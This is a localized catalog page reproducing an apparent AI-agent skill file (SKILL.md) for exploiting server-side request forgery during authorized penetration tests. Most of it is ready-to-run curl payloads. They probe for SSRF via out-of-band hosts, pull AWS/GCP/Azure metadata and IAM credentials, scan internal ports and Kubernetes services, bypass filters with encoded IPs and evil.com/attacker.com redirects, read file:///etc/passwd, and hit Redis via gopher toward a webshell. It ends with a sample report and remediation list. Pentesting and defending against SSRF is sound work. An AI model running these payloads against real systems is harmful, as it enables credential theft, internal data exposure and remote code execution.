界面已本地化;技能介绍与说明文档按所选语言由 AI 自动翻译,代码、命令、路径和专业术语保留原文,以原作者文档为准。
探索技能
效率与协作 · SKILL.md

exploiting-server-side-request-forgery

exploiting-server-side-request-forgery

【效率与协作】在授权渗透测试中识别并利用 SSRF 漏洞,访问内部服务、云元数据及受限网络资源。

独立 GitHub 快照 · 自动分类 · 以原作者文档为准

技能说明

GitHub

name: exploiting-server-side-request-forgery description: 在授权渗透测试中识别并利用 SSRF 漏洞,访问内部服务、云元数据及受限网络资源。 domain: cybersecurity subdomain: web-application-security tags: [penetration-testing, ssrf, owasp, cloud-security, web-security, burpsuite] version: "1.0" author: mahipal license: Apache-2.0

利用服务器端请求伪造漏洞(Exploiting Server-Side Request Forgery)

适用场景

  • 在授权渗透测试中,当应用程序获取用户提供的 URL 时(Webhook、URL 预览、文件导入)
  • 测试云托管应用程序对实例元数据服务的访问权限时
  • 评估 PDF 生成器、截图服务或任何渲染外部内容的功能时
  • 评估微服务架构中通过 SSRF 访问内部服务的风险时
  • 在安全评估接受 URL 参数进行数据获取的 API 时

前置条件

  • 授权:包含 SSRF 测试范围的书面渗透测试协议
  • Burp Suite Professional:配合 Collaborator 进行带外检测
  • interactsh:开源 OOB 交互服务器(go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest)
  • SSRFmap:自动化 SSRF 利用框架(git clone https://github.com/swisskyrepo/SSRFmap.git)
  • curl:用于手动 SSRF 载荷测试
  • 目标基础设施知识:云提供商(AWS、GCP、Azure)、内部 IP 范围

工作流程

步骤 1:识别 SSRF 易受攻击的功能

映射所有发起服务器端 HTTP 请求的应用功能。

# 常见 SSRF 易受攻击的功能:
# - URL 预览/展开(类似 Slack 的链接预览)
# - Webhook 配置端点
# - 从 URL 导入文件(从 URL 导入 CSV)
# - 从 URL 生成 PDF/截图
# - 从 URL 获取图片/头像
# - RSS/Feed 聚合
# - OAuth 回调 URL
# - API 代理/网关功能

# 使用 Burp Collaborator 测试 URL 参数
# 将 URL 值替换为 Collaborator 载荷
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"url":"http://abc123.burpcollaborator.net/ssrf-test"}' \
  "https://target.example.com/api/fetch-url"

curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"webhook_url":"http://abc123.oast.fun/webhook"}' \
  "https://target.example.com/api/webhooks"

# 测试各种参数名中的 URL
for param in url uri link href src dest redirect callback webhook \
  image_url avatar_url feed_url import_url proxy_url; do
  echo "测试参数:$param"
  curl -s -o /dev/null -w "%{http_code}" \
    "https://target.example.com/api/fetch?${param}=http://abc123.oast.fun/${param}"
done

步骤 2:访问云实例元数据

测试针对云提供商元数据服务的 SSRF 载荷。

# AWS EC2 元数据(IMDSv1)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
  "https://target.example.com/api/fetch-url"

# AWS - 获取 IAM 角色凭证
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
  "https://target.example.com/api/fetch-url"

# GCP 元数据
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}' \
  "https://target.example.com/api/fetch-url"

# Azure 元数据
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/metadata/instance?api-version=2021-02-01"}' \
  "https://target.example.com/api/fetch-url"

# DigitalOcean 元数据
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/metadata/v1/"}' \
  "https://target.example.com/api/fetch-url"

步骤 3:通过 SSRF 扫描内部网络

利用 SSRF 漏洞发现内部服务和端口。

# 内部网络扫描 - 常见私有地址段
for ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; do
  for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do
    echo -n "$ip:$port -> "
    response=$(curl -s --max-time 3 -X POST \
      -H "Content-Type: application/json" \
      -d "{\"url\":\"http://$ip:$port/\"}" \
      "https://target.example.com/api/fetch-url")
    echo "$response" | head -c 100
    echo
  done
done

# Kubernetes 内部服务
for svc in kubernetes.default.svc \
  kubernetes-dashboard.kubernetes-dashboard.svc \
  kube-dns.kube-system.svc; do
  curl -s --max-time 3 -X POST \
    -H "Content-Type: application/json" \
    -d "{\"url\":\"http://$svc/\"}" \
    "https://target.example.com/api/fetch-url"
done

# 访问内部管理面板
for path in /admin /console /actuator/env /server-status /_cat/indices; do
  curl -s -X POST \
    -H "Content-Type: application/json" \
    -d "{\"url\":\"http://127.0.0.1:8080$path\"}" \
    "https://target.example.com/api/fetch-url"
done

步骤 4:绕过 SSRF 过滤器和白名单

当基本载荷被拦截时,使用绕过技术。

# 127.0.0.1 的 IP 地址编码绕过
PAYLOADS=(
  "http://127.0.0.1/"
  "http://0177.0.0.1/"          # 八进制
  "http://0x7f.0.0.1/"          # 十六进制
  "http://2130706433/"           # 十进制
  "http://127.1/"                # 简短形式
  "http://0/"                    # 零
  "http://[::1]/"                # IPv6 回环
  "http://0.0.0.0/"              # 所有接口
  "http://localtest.me/"         # DNS 解析到 127.0.0.1
  "http://spoofed.burpcollaborator.net/"  # DNS 重绑定
  "http://127.0.0.1.nip.io/"    # 通配符 DNS
)

for payload in "${PAYLOADS[@]}"; do
  echo -n "$payload -> "
  curl -s -o /dev/null -w "%{http_code}" --max-time 3 \
    -X POST -H "Content-Type: application/json" \
    -d "{\"url\":\"$payload\"}" \
    "https://target.example.com/api/fetch-url"
  echo
done

# URL 解析绕过
# 嵌入凭证:http://expected.com@evil.com/
# 片段:http://evil.com#expected.com
# URL 编码:http://127.0.0.%31/
# 重定向链:http://attacker.com/redirect?url=http://127.0.0.1

# 协议绕过
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"file:///etc/passwd"}' \
  "https://target.example.com/api/fetch-url"

curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"gopher://127.0.0.1:6379/_SET%20ssrf%20test"}' \
  "https://target.example.com/api/fetch-url"

curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"dict://127.0.0.1:6379/info"}' \
  "https://target.example.com/api/fetch-url"

步骤 5:利用 SSRF 进行影响升级

将 SSRF 与内部服务结合以最大化影响。

# 通过 gopher 协议访问 Redis
# 构造 gopher 载荷通过 Redis 设置 Webshell
# gopher://127.0.0.1:6379/_CONFIG SET dir /var/www/html
# 仅用于授权测试

# 访问 Elasticsearch
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:9200/_cat/indices?v"}' \
  "https://target.example.com/api/fetch-url"

# 从 Elasticsearch 读取数据
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:9200/users/_search?size=10"}' \
  "https://target.example.com/api/fetch-url"

# 访问内部 Jenkins
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:8080/script"}' \
  "https://target.example.com/api/fetch-url"

# AWS:从 IAM 角色获取临时凭证
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}' \
  "https://target.example.com/api/fetch-url"
# 返回:AccessKeyId、SecretAccessKey、Token

步骤 6:测试盲 SSRF 和 DNS 重绑定

适用于响应不返回给攻击者的情况。

# 基于时间分析的盲 SSRF 检测
# 比较可访问端口和不可访问端口的响应时间
time curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:22/"}' \
  "https://target.example.com/api/fetch-url"

time curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:12345/"}' \
  "https://target.example.com/api/fetch-url"

# DNS 重绑定攻击
# 1. 搭建一个交替响应的 DNS 服务器:
#    - 首次查询:返回攻击者 IP(通过白名单)
#    - 第二次查询:返回 127.0.0.1(针对内部服务)
# 2. 使用 rbndr.us 等重绑定服务

curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://7f000001.c0a80001.rbndr.us/"}' \
  "https://target.example.com/api/fetch-url"
# rbndr.us 在两个编码 IP 之间交替响应 DNS 查询

核心概念

概念定义
SSRF服务器端请求伪造(Server-Side Request Forgery)——使服务器向非预期目标发送请求
盲 SSRF(Blind SSRF)响应不返回给攻击者的 SSRF,需要带外检测
云元数据(Cloud Metadata)暴露凭证和配置信息的实例元数据服务(169.254.169.254)
Gopher 协议允许传输原始 TCP 数据的协议,可用于攻击内部服务
DNS 重绑定(DNS Rebinding)通过切换 IP 解析绕过 SSRF 主机名白名单的 DNS 攻击
TOCTOU检查时间与使用时间的竞态条件,存在于 URL 验证中
IMDSv2AWS 元数据服务 v2,需要会话令牌,可缓解基本 SSRF
开放重定向链(Open Redirect Chain)利用开放重定向绕过 SSRF 过滤器中的 URL 白名单

工具与系统

工具用途
Burp Suite Professional请求修改及使用 Collaborator 进行盲 SSRF 检测
SSRFmap支持多协议的自动化 SSRF 利用框架
interactsh用于盲 SSRF 的带外交互检测
Gopherus生成用于利用内部服务的 gopher 载荷
rbndr.us用于 SSRF 过滤器绕过的 DNS 重绑定服务
singularity用于自动化利用的 DNS 重绑定攻击框架

常见场景

场景 1:Webhook URL SSRF 获取 AWS 凭证

Webhook 配置端点允许指定回调 URL。将其指向 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 可返回临时 AWS IAM 凭证,用于访问 S3 存储桶和其他 AWS 服务。

场景 2:PDF 生成器 SSRF

从 URL 生成 PDF 的功能会发起服务器端请求。将 http://127.0.0.1:8080/admin 作为 URL,会生成一个包含内部管理面板内容的 PDF。

场景 3:图片 URL SSRF 配合协议绕过

头像 URL 字段对 HTTP/HTTPS 进行了过滤,但接受 file:// 协议。使用 file:///etc/passwd 作为头像 URL,服务器会读取本地文件并将内容包含在响应中。

场景 4:盲 SSRF 攻击内部 Redis

URL 获取功能不返回响应内容,只确认成功/失败。使用 gopher 协议载荷向内部 Redis 实例写入数据,实现远程代码执行。

输出格式

## SSRF 漏洞发现报告

**漏洞**:服务器端请求伪造(完全 SSRF)
**严重性**:严重(CVSS 9.1)
**位置**:POST /api/webhooks - `callback_url` 参数
**OWASP 类别**:A10:2021 - 服务器端请求伪造

### 复现步骤
1. 发送 POST /api/webhooks,将 callback_url 设置为 http://169.254.169.254/latest/meta-data/
2. 服务器向 AWS 元数据端点发起请求
3. 响应包含 AWS 实例元数据,包括 IAM 角色名称
4. 后续请求 IAM 凭证端点以获取临时访问密钥

### 已确认访问
| 目标 | 协议 | 响应 |
|--------|----------|----------|
| 169.254.169.254(AWS 元数据) | HTTP | IAM 凭证已获取 |
| 127.0.0.1:6379(Redis) | Gopher | 命令已执行 |
| 127.0.0.1:9200(Elasticsearch) | HTTP | 索引列表已获取 |
| 10.0.0.5:8080(内部 API) | HTTP | 管理面板可访问 |

### 影响
- AWS IAM 临时凭证已泄露(S3 读写权限)
- 内部 Redis 服务器可访问(潜在 RCE)
- 内部 Elasticsearch 数据已暴露(用户记录)
- 完整的内网扫描能力

### 修复建议
1. 实施严格的 URL 白名单(仅允许已知可信域名)
2. 封锁对私有 IP 段的请求(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、169.254.0.0/16)
3. 升级到 AWS IMDSv2(需要会话令牌头)
4. 禁用未使用的 URL 协议(gopher、file、dict、ftp)
5. 使用专用出站代理处理服务器端请求,并控制 DNS 解析
我的收藏